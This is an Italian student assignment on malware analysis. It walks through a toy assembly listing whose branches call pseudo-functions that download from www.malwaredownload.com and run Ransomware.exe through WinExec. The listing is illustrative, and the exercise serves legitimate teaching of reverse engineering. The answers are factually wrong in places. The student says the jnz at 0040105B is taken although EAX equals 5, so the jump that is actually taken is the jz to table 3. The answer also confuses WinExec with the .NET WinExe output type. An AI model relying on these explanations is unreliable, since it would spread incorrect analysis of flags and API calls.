Malware Analisys

Traccia:

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:

1. Spiegate, motivando, quale **salto condizionale** effettua il Malware.
2. Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea **verde** i salti effettuati, mentre con una linea **rossa** i salti non effettuati.
3. Quali sono le diverse funzionalità implementate all'interno del Malware?
4. Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione. Aggiungere eventuali dettagli tecnici/teorici.

Esercizio n1

Spiega motivando il salto condizionale effettuato dal malware

Tabella 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Il salto condizionale effettuato dal malware si attua all'indirzzo 0040105B.
Quest'ultimo aperto/eseguito tramite un'istruzione chiamata jnz JNZ is short for "Jump if not zero (ZF = 0)", and **NOT** "Jump if the ZF is set".

Che confronta il risultato tra i registri EAX 5 che toglie appunto 5 dal valore del registro EAX, e di conseguenza va ad impostare il tutto in base ai risultati ottenuti.

Il confronto tra EAX e 5 che come detto produce un risultato differente da zero, ciò ci porta a dei valori differenti e a dei flag che rispecchiano tale condizione. In questo caso l’istruzione elencata in alto quale JNX eseguira un salto in un determinato indirizzo non specificato.

Se il caso è al contrario, abbiamo un confronto con EAX e 5 che da un risultato uguale a zero, significa che i valori sono uguali e che i flag riflettono questa condizione.

Esercizio n 2

Disegnare un diagramma di flusso

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2

0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

Esercizio n3

Quali sono le diverse funzionalità implementate all’interno del malware

All’interno del malware sono presenti diverse funzionalità implementate tramite le funzioni WinExe (Modifica di rilievo: OutputType impostato su WinExe per le app WPF e WinForms - .NET).

Seguita dalla funzione DownloadsTofile che segue i download di diversi file da un url a scelta. Da notare che gli url vengono passati come argomento alla funzione tramite il registro EAX.

Listruzione mov EAX, EDI assegna il valore nella seconda tabella che rappresenta l’url (ww.malwaredownload.com) al registro EAX, succesivamente inserisce l’istruzione push EAX inserendo l’url sullo stack infine DownloadToFile esegue la chiamata effettiva alla funzione.

WinExe quest’ultima permette l’esecuzione dei file di sistema raffigurata nella tabella 3, l’argomento passa tramite il registro EDX.
Di seguito EDI copia il valore del registro (che rappresenta il percorso del file da eseguire (C:\

Program and settings\local user\desktop\ ransomware.exe).
Succesivamente inserisce il percorso del file (push EDX), nello stack pronto come argomento di funzione WinExec, infine winExec() esegue la chiamata effettiva alla funzione

Esercizio n 4

Nelle varie istruzioni ‘call’ presenti nelle varie tabelle quali 2/3 gli argomenti sono passati alle successive chiamate alla funzione e aggiungere dettagli tecnici e teorici.

Come abbiamo avuto modo di notare, all’interno delle istruzioni call presenti in tabella 2 e 3 emerge la presenza dell’argomento “EDI”.

In Tabella 2, l’argomento viene trasferito alla funzione DownloadToFile() seguito dallo spostamento in cima allo stack (tramite istruzione push) del registro EAX, all’interno del quale viene copiato il valore dell’argomento EDI tramite istruzione MOV EAX, EDI.

In Tabella 3, l’argomento EDI viene trasferito alla funzione WinExec() a seguito dallo spostamento in cima allo stack (tramite istruzione push) del registro EDX, che aveva assunto il valore di EDI tramite (istruzione) MOV EDX, EDI.